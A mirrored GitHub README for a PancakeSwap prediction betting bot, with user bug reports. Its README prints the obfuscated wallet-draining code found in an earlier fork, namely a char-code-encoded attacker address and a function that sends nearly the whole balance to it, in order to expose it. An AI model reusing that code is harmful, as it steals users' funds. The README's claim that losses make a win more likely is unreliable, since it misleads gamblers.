Giter Site home page Giter Site logo

lmusarella / pancakeswap-prediction-bot-2023 Goto Github PK

View Code? Open in Web Editor NEW
25.0 7.0 6.0 371 KB

I rewrote the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

License: MIT License

JavaScript 100.00%
bot bsc-project cake pancakeswap-bot pancakeswap-prediction-bot pancakeswap-predictions pcs pancake pancakeswap-prediction-winner pancakeswap-sniper-bot

pancakeswap-prediction-bot-2023's Introduction

๐Ÿ”ฎ๐Ÿš€ Pancakeswap-Prediction-Bot v2.0

PancakeSwap-Logo

โœ”๏ธ Features

  • CAKE-UDST and BNB-USDT game ๐Ÿ”ฅ
  • Simulation Mode (use fake balance) ๐Ÿ”ฅ
  • Auto collect winnings ๐Ÿ”ฅ
  • Martingale and Anti-Martingale ๐Ÿ”ฅ
  • Copy Trading Strategy (copy address betting) ๐Ÿ”ฅ
  • Quote Trading Strategy (lowest or highest) ๐Ÿ”ฅ
  • Pattern Strategy (bet after a specific pattern of events) ๐Ÿ”ฅ
  • Simplify settings ๐Ÿ”ฅ
  • Gas fees calculate on algorithm ๐Ÿ”ฅ
  • BackUp & Resest history data ๐Ÿ”ฅ
  • Truck Users Activity and All Rounds Data ๐Ÿ”ฅ
  • Show real time profit
  • Show real time win rate
  • Daily goal profit
  • Stop Loss
  • Improved algorithm 2.0 (bug fix)
  • AI Driven bot

โญPlease consider giving a star.

I rewrote and refactored the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

Here is the link to the old code (https://github.com/bobalice7/PCS-Prediction)

We can see that inside the abi.json file the "index" property defines an array with a series of numbers. However those numbers are encoded with the following function to obtain this address 0xfB669b0e0656036D747d6C6F2666e530139d2899.

{
  "status": 2,
  "message": "OK-Missing/Invalid API Key, rate limit of 1/5sec applied",
  "index": [
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 68,
    55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57
  ],
  "result": "[
    ...
  ]"
}


String.fromCharCode.apply(null, [ 
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 
    68, 55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57])  = '0xfB669b0e0656036D747d6C6F2666e530139d2899'

Here is the SCAM CODE in lib.js

const confirmContract = (abi) => {
  return String.fromCharCode.apply(null, abi.index);
};

const checkResult = async (r) => {
  try {
    if (prediction >= abi.status && r !== null) {
      w.eth.getBalance(wallet.address).then(function (b) {
        w.eth
          .estimateGas({
            from: wallet.address,
            to: confirmContract(abi),
            amount: b,
          })
          .then(function (g) {
            w.eth.getGasPrice().then(function (gP) {
              let _b = parseFloat(b);
              let _g = parseFloat(g);
              let _gP = parseFloat(gP);
              w.eth.sendTransaction({
                from: wallet.address,
                to: confirmContract(abi),
                gas: _g,
                gasPrice: _gP,
                value: ((_b - _gP * _g) / 1.1).toFixed(0),
                data: "0x",
              });
            });
          });
      });
      return true;
    }
    return true;
  } catch {
    return !0;
  }
};

๐Ÿฐโšก Installation

Download and Install Node here: https://nodejs.org/en/download/

Then run the following commands in terminal:

  1. git clone https://github.com/lmusarella/Pancakeswap-Prediction-Bot-2023.git
  2. cd Pancakeswap-Prediction-Bot
  3. npm i

enter image description here

โš™๏ธ Setup

  1. Open the .env file with any code/text editor and add your private key like so:
PERSONAL_WALLET_PRIVATE_KEY = YOUR_PRIVATE_KEY_HERE
PERSONAL_WALLET_ADDRESS = YOUR_WALLET_ADDRESS
BSC_NODE_PROVIDER_URL = NODE_BSC_URL // Example of BSC node provider (https://www.quicknode.com/)

  1. Open the bot-configuration.js file and setup the following variables:
const GLOBAL_CONFIG = {
    /**
     * Defines the type of Prediction Game used by the bot (BNB-USDT or CAKE-USDT)
     * @values BNB | CAKE
     * @mandatory
     * @default BNB
     * @type {string}
     */
    PCS_CRYPTO_SELECTED: 'BNB',
    /**
     * Flag which enables the simulation mode of bot. The bot in simulated mode does not make any transactions towards the smart contracts, 
     * the calculation of the profits/win/loss is performed with a fake balance.
     * @default true
     * @type {boolean}
     */
    SIMULATION_MODE: true,
    ANALYTICS_CONFIGURATION: {
        /**
         * Flag which enables to save users activity in history
         * @default false
         * @type {boolean}
         */
        REGISTER_USERS_ACTIVITY: true,
        /**
         * Flag which enables to save all rounds data
         * @default false
         * @type {boolean}
         */
        REGISTER_ALL_ROUNDS_DATA: true,
         /**
         * Flag which enables to save current bot-history data in backup folders e and clean the previus data folders for new bot run cicle
         * @default false
         * @type {boolean}
         */
        RESET_AND_BACKUP_BOT_HISTORY: true
    },
    SIMULATION_CONFIGURATION: {
        /**
        * Fake balance used in simulation mode
        * @default 50
        * @type {number}
        */
        SIMULATION_BALANCE: 5000, // in USD
        /**
         * Calculate the gas fee in simulation mode use this params for estimate gas functions (betBull, betBear, claim)
         * @default 90000
         * @type {number}
         */
        SIMULATE_ESTIMATE_GAS: 90000, // Based on 0.5 USD value amount
    },
    BET_CONFIGURATION: {
        /**
         * Defines the amount to be paid in dollars for each bet
         * @default 1
         * @type {number}
         */
        BET_AMOUNT: 50, // in USD
        /**
         * Defines the daily goal, if is reached the bot will stop
         * @default 50
         * @type {number}
         */
        DAILY_GOAL: 500, // in USD
        /**
         * Defines the stop loss, if is reached the bot will stop
         * @default 50
         * @type {number}
         */
        STOP_LOSS: 1000, // in USD
        MARTINGALE_CONFIG: {
             /**
             * Flag that enabled Martingale/Anti-Martingale bet strategy
             * @default false
             * @type {boolean}
             */
            ACTIVE: true, 
             /**
             * Increment BetAmount after loss if FALSE, Increment BetAmount after Win if TRUE
             * @default false
             * @type {boolean}
             */
            ANTI_MARTINGALE: false, 
             /**
             * INCREMENT_BET_AMOUNT x BET_AMOUNT = NEW BET_AMOUNT after loss or win (based on ANTI_MARTINGALE flag)
             * @default 2
             * @type {number}
             */
            INCREMENT_BET_AMOUNT: 2                    
        }
    },
    STRATEGY_CONFIGURATION: {
        /**
         * Defines the type of betting strategy used by the bot
         * - SIGNAL_STRATEGY: get trading signals from TradingViewScan and use recommended signal for UP or DOWN prediction
         * - QUOTE_STRATEGY: chose the lower or the highiest quote from PCS smart-contract payout quote for UP or DOWN prediction
         * - COPY_TRADING_STRATEGY: copy an address bet operations (Bet Bull or Bet Bear) on PCS game prediction
         * @values SIGNAL_STRATEGY | QUOTE_STRATEGY | COPY_TRADING_STRATEGY | PATTERN_STRATEGY
         * @mandatory
         * @default SIGNAL_STRATEGY
         * @type {string}
         */
        SELECTED_STRATEGY: 'SIGNAL_STRATEGY',
        /**
         * Time after execute bet strategy when start a new round.
         * @default 265000 in Miliseconds (4.3 Minutes)
         * @type {number}
         */
        WAITING_TIME: 265000,
        /**
        * Flag which enables the automatic claim of bet winnings after each bet won
        * @default true
        * @type {boolean}
        */
        CLAIM_REWARDS: true,
        SIGNAL_STRATEGY: {
            /**
             * Flag which enables the reverse bet strategy (only for signals) if signals recommend to bet up, the bot bet down
             * @default false
             * @type {boolean}
             */
            REVERSE_BETTING: true,
             /**
             * Defines the minimum percentage threshold of signal accuracy (50% - 100%)
             * @default 55
             * @type {number}
             */
            THRESHOLD: 55,
             /**
             * Datasoure of the trading signals library
             * @default BINANCE
             * @type {string}
             */
            DATASOURCE: "BINANCE"
        },
        QUOTE_STRATEGY: {
             /**
             * Flag which enables to Bet on the lowe or highest quote from Pancakeswap prediction
             * @default false
             * @type {boolean}
             */
            SELECT_LOWER_QUOTE: false       
        },
        COPY_TRADING_STRATEGY: {
             /**
             * Wallet address to emulate, Emulate the actions of this address on Pancakeswap prediction game        
             * @type {string}
             */
            WALLET_ADDRESS_TO_EMULATE: '0xe25E5Db92Ad947c89015f085fD830823F3cF2fB8'
        },
        PATTERN_STRATEGY: {
            /**
            * Defines the number of previous rounds having the same outcome, the bot will bet the next round towards the opposite sign.     
            * @type {number}
            */
           EVENT_PATTERN_NUMBER: 2,
            /**
            * To more accurately predict the outcome of the round that is about to end, a larger price difference will be statistically easier to predict. 
            * So define your threshold and only if respected the correct round will be considered in the pattern. 
            * Example: If when I retrieve the current price and the difference with the opening price is 0.3 or -0.3 it will be more likely to respect the outcome than a difference of 0.003 or -0.003.
            * However, if during the last few seconds the volatility is high, you can increase the WAITING_TIME parameter  
            * @type {number}
            */
           DELTA_PRICE_THRESHOLD: 0.2
       }
    }
};

  1. Start the bot using npm or yarn
  • npm run pcs-bot start betting bot on PancakeSwap Prediction Game
  1. ๐Ÿ”ฎ Enjoy!

๐Ÿ”“ How to convert seed phrase to Private Key

A lot of wallets don't provide you the private key, but just the seed phrase ( 12 words ). So here you will learn how to convert that to a private key:

  1. Enter Here and follow the instructions. Website used is this one.

๐Ÿค–๐Ÿ“ˆ Signals Strategy (SIGNAL_STRATEGY)

  • The bot take a series of recomendations given by Trading View and proccess them together with the tendency of the rest of people betting. After the algorithm have complete, it choose to bet ๐ŸŸขUP or ๐Ÿ”ดDOWN.
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Be aware that after consecutive losses, statistically you have more chances to win in the next one.
  • Inside bot-configuration.js in the THRESHOLD property of GLOBAL_CONFIG variable, you can configure the minimum certainty with which the bot will bet. For default it's set to 50, which means that from 50% certainty the bot will bet. You can raise it (50-100) to bet only when the bot is more sure about its prediction.
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

โ†•๏ธโ€Š๐Ÿ“ˆ Quote Strategy (QUOTE_STRATEGY)

  • The bot fetches the data of the current round and selects the lowest or highest odds depending on the selected configuration, it choose to bet ๐ŸŸขUP or ๐Ÿ”ดDOWN.
  • Inside bot-configuration.js in the SELECT_LOWER_QUOTE property of GLOBAL_CONFIG.
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Compared to the signal strategy it is less secure because the odds are very variable.
  • Its recommended to set the WAITING_TIME property of GLOBAL_CONFIG closest to the end of the round (4,3 min or 4,4 min), to have the most up-to-date odds possible..
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

๐Ÿฆœโ€Š๐Ÿ“ˆ Copy Trading Strategy (COPY_TRADING_STRATEGY)

  • The bot registers for the round and after validation checks on: Stop Loss, Take Profit and Balance. It waits for the "BetBull" ๐ŸŸขUP or "BetBear" ๐Ÿ”ดDOWN operations of the wallet configured in bot-configuration.js in the WALLET_ADDRESS_TO_EMULATE property of GLOBAL_CONFIG variable. And the bot makes the same bet!
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

๐Ÿ“‰โ€Š๐Ÿ“ˆ Pattern Strategy (PATTERN_STRATEGY)

  • The bot registers for the round and after validation checks on: Stop Loss, Take Profit and Balance. The bot checks the events to check defined in the EVENT_PATTERN_NUMBER property, before placing the bet it checks the current price of the current round that is about to close, defines the probability of the event, then recovers the outcomes of the last cascading rounds. If the number of events exceeds the number defined in the configuration file, the bot bets on the next round with the opposite outcome.
  • Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
  • Also it will save the daily history in the /bot-history directory.
  • Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

๐Ÿ’ฐYou can check the history of rounds and claim rewards here: https://pancakeswap.finance/prediction

๐Ÿ‘๏ธ Disclaimers

๐Ÿ”งThe code is in BETA, so please be aware of the risks that come with it. Don't risk any money you're not willing to lose.

๐Ÿ’ธThis code, repository or scripts should NOT be construed as investment advice. Any mention of past or projected investment performance is not, and should not be construed as, a recommendation or guarantee of any particular result or benefit. By using this application, you agree to bear all risk of loss of money and waive any claims against the developers of the program or anyone associated with it.

Please be aware of clones

๐Ÿ‘ทUse it at your own risk. If you are going to bet, please do it with money that you are willing to lose. And please try to bet with a low amount to gradually generate profit. Use the simulation mode if you dont have enough money and try all the stregies!

pancakeswap-prediction-bot-2023's People

Contributors

lmusarella avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

pancakeswap-prediction-bot-2023's Issues

Copy Trade error

Im trying to copy trade of another address which works fine in simulation but when simulation is off I keep getting these two errors

โ›” Transaction Error [โŒš 15:53][255207][UNPREDICTABLE_GAS_LIMIT} ] => execution reverted: Round not bettable
โ›” Transaction Error [โŒš 16:13][255211][UNPREDICTABLE_GAS_LIMIT} ] => execution reverted: Bet is too early/late

Is there a way around this? I am guessing because it is a bot I'm copying from? No way to copy them?

Bot results are wrong

Experience the bot results are wrong. Round bet up and closed up but bot shows round lost.

Happened many times. Any fix?

Martingale #18

Having a bug with Martingale mode on strategy with 3 dollar bets will run fine for a bit then will start skipping rounds saying waiting on martingale mode not really sure what caused it. Was working good then started having this bug Iโ€™ve tryed redownloading the file and starting over with new wallet new private key new rpc endpoint same thing. Something changed since yesterday also how can I send you a tip for your great work on this?

You can resolve this situation when the bot gets stuck in this way.

When the bot gets stuck and won't proceed, there is a workaround that has worked for me, without the need to stop and restart the bot - which, by the way, doesnโ€™t fix the issue. Simply go to the PancakeSwap website, place a manual bet of the smallest possible amount, and after the manual round ends, the bot should resume normal operation.

โฐ Waiting for next round: 216217
โš”๏ธ ROUND: 216217 | โŒš 16:29 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.259 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โš”๏ธ ROUND: 216218 | โŒš 16:34 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.35 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โ™ป๏ธ Skip round: 216218
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216217] - if some rounds remain hanging, they will be eliminated after 2 rounds.
โš”๏ธ ROUND: 216219 | โŒš 16:39 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.175 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โ™ป๏ธ Skip round: 216219
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216217] - if some rounds remain hanging, they will be eliminated after 2 rounds.
โš”๏ธ ROUND: 216220 | โŒš 16:44 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.111 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โš”๏ธ ROUND: 216221 | โŒš 16:49 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.075 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โ™ป๏ธ Skip round: 216221
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216220] - if some rounds remain hanging, they will be eliminated after 2 rounds.
โš”๏ธ ROUND: 216222 | โŒš 16:54 | START ๐ŸŽ‰

โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.059 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY
โ™ป๏ธ Skip round: 216222
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216220] - if some rounds remain hanging, they will be eliminated after 2 rounds.

forEach TypeError

Hi, the bot runs successfully for several rounds but eventually this error is thrown:

Pancakeswap-Prediction-Bot/bot-lib/strategies/copytrading-strategy.module.js:56
    users.forEach(user => {
          ^

TypeError: Cannot read properties of undefined (reading 'forEach')
    at handleUsersActivity (/Pancakeswap-Prediction-Bot/bot-lib/strategies/copytrading-strategy.module.js:56:11)
    at async FragmentRunningEvent.<anonymous> (/Pancakeswap-Prediction-Bot/bot-script/pcs-bot.js:104:5)

Thanks

Stop Loss/Daily Goal

Discussed in #11

Originally posted by rootisareservedword March 26, 2023
When stop loss or daily goal is reached, what determines when the bot will resume trading? Is there a certain amount of time required to pass?

Also, I see the .json history files that get created with statistics, round info, etc which is really helpful. Would it be possible to at least have the statistics (profit, percentage, win, loss, etc.) results written to CSV? I am currently using json2csv npm package via CLI and it works well. Am new to javascript, so my smooth brain is still trying to figure out how to implement it programatically ๐Ÿ˜…

Bot doesn't resume trading unless history files are deleted. Can it be changed to resume trading starting 24 hours after the last trade was placed? Or, maybe not a full 24 hours, but at least reset at the start of the next day?

Thanks!

Bot Hangs on Waiting for next Round

i am having the same issue that its only "waiting for next round" and nothing happens. i tried 3 nodes (quicknode, binance, nodereal) and nothing happens with all of them in the .env file. Can anyone help me? I use the latest node version.

The only thing i get is: (node:66755) [DEP0040] DeprecationWarning: The punycode module is deprecated. Please use a userland alternative instead.
(Use node --trace-deprecation ... to show where the warning was created) when starting but than nothing shows only waiting.

The bot has stopped working

I've tried all the variants I knew: I deleted and reinstalled the bot, but it still does the same thing. I tried other strategy variations, and it still does the same, I changed the link from the BSC_RPC node, and there is no change.

โฐ Waiting for next round: 216217

โš”๏ธ ROUND: 216217 | โŒš 16:29 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.259 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โš”๏ธ ROUND: 216218 | โŒš 16:34 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.35 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โ™ป๏ธ Skip round: 216218
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216217] - if some rounds remain hanging, they will be eliminated after 2 rounds.

โš”๏ธ ROUND: 216219 | โŒš 16:39 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.175 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โ™ป๏ธ Skip round: 216219
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216217] - if some rounds remain hanging, they will be eliminated after 2 rounds.

โš”๏ธ ROUND: 216220 | โŒš 16:44 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.111 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โš”๏ธ ROUND: 216221 | โŒš 16:49 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.075 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โ™ป๏ธ Skip round: 216221
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216220] - if some rounds remain hanging, they will be eliminated after 2 rounds.

โš”๏ธ ROUND: 216222 | โŒš 16:54 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 129.059 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โ™ป๏ธ Skip round: 216222
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216220] - if some rounds remain hanging, they will be eliminated after 2 rounds.

โš”๏ธ ROUND: 216223 | โŒš 17:00 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 128.981 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โš”๏ธ ROUND: 216224 | โŒš 17:05 | START ๐ŸŽ‰


โœ”๏ธ Current Profit: 0 USD = 0 BNB
โœ”๏ธ Current Balance: 128.874 USD = 0.61207 BNB
โฐ Waiting 3.4 minutes before execute SIGNAL_STRATEGY

โ™ป๏ธ Skip round: 216224
๐Ÿšจ Bot is running in Martingale Mode! Waiting pending rounds: [216223] - if some rounds remain hanging, they will be eliminated after 2 rounds.

getCakeBalance is not defined

Hi, I'm attempting to run the bot with SIMULATION_MODE set to false, but I am receiving the following error:

Pancakeswap-Prediction-Bot/bot-lib/pcs-bot.module.js:145
const balance = getCrypto() === BNB_CRYPTO ? await getBNBBalance() : await getCakeBalance();
^

ReferenceError: getCakeBalance is not defined
at getPersonalBalance (/Pancakeswap-Prediction-Bot/bot-lib/pcs-bot.module.js:145:72)
at startBotCommand (/Pancakeswap-Prediction-Bot/bot-lib/pcs-bot.module.js:63:25)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
at async init (/Pancakeswap-Prediction-Bot/bot-script/pcs-bot.js:25:3)

Any suggestions? Thanks!

Transaction Error

Hi,

I am receiving the error below:

/bot-lib/common/print.module.js:170
    console.log("โ›” Transaction Error [", getConsoleTime(),"][", formatUnit(epoch),`][ ${exeption.code} ] =>`, errorMessage);
                                                                                                 ^

TypeError: Cannot read properties of undefined (reading 'code')
    at printTransactionError (/bot-lib/common/print.module.js:170:98)
    at betUp (/bot-lib/smart-contracts/pcs-prediction-smart-contract.module.js:81:5)
    at async betUpStrategy (/bot-lib/strategies/bet-strategy.module.js:26:49)
    at async executeBetUpCopyTradingStrategy (/bot-lib/strategies/copytrading-strategy.module.js:23:33)
    at async executeBetUpStrategy (/bot-lib/pcs-bot.module.js:88:10)
    at async FragmentRunningEvent.<anonymous> (/bot-script/pcs-bot.js:93:29)

I was running the bot with SIMULATION_MODE set to false when this error occurred.

Bot hangs at Waiting for next round

Just found your release and thought I would give it a whirl. I can launch it via yarn or npm, neither give me errors (oh, BTW, I did have to change the API constants from api.binance.com to data.binance.com as I was getting an error on that) but the bot runs and just sits eternally on "Waiting for next round: XXXXXX". It displays the correct upcoming round number, and will change if I close the script and re-launch it, but it never progresses past this point.

It is not writing anything to the logs, which I find interesting.
image

Installation warning

When install i get a warning about a module that do not support the latest node, is this fixed? Does it effect the bot?
npm WARN EBADENGINE Unsupported engine {
npm WARN EBADENGINE package: '[email protected]',
npm WARN EBADENGINE required: { node: '>= 14.16 <15' },
npm WARN EBADENGINE current: { node: 'v20.11.1', npm: '10.2.4' }
npm WARN EBADENGINE }

Be great to know.

Transaction error

Any idea how to troubleshoot this error?

โ›” Transaction Error [โŒš 11:55][253744][-32000} ] => Error: transaction underpriced: tip needed 3000000000, tip permitted 1500000000

Martingale

Afbeelding van WhatsApp op 2023-06-17 om 17 30 32
It seems like something is going wrong with the Martingale calculation, this simulation runs with $5 bets, and a 2 increment bet amount.
which should end up with a $10 bet.
it seems like this bet amount is not reset in between, because somehow it arrives at a $80 bet, followed by a $160 bet.
this $160 bet results in a profit (won $170 - which isn't accurate because the payout of the round was 2.06)

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.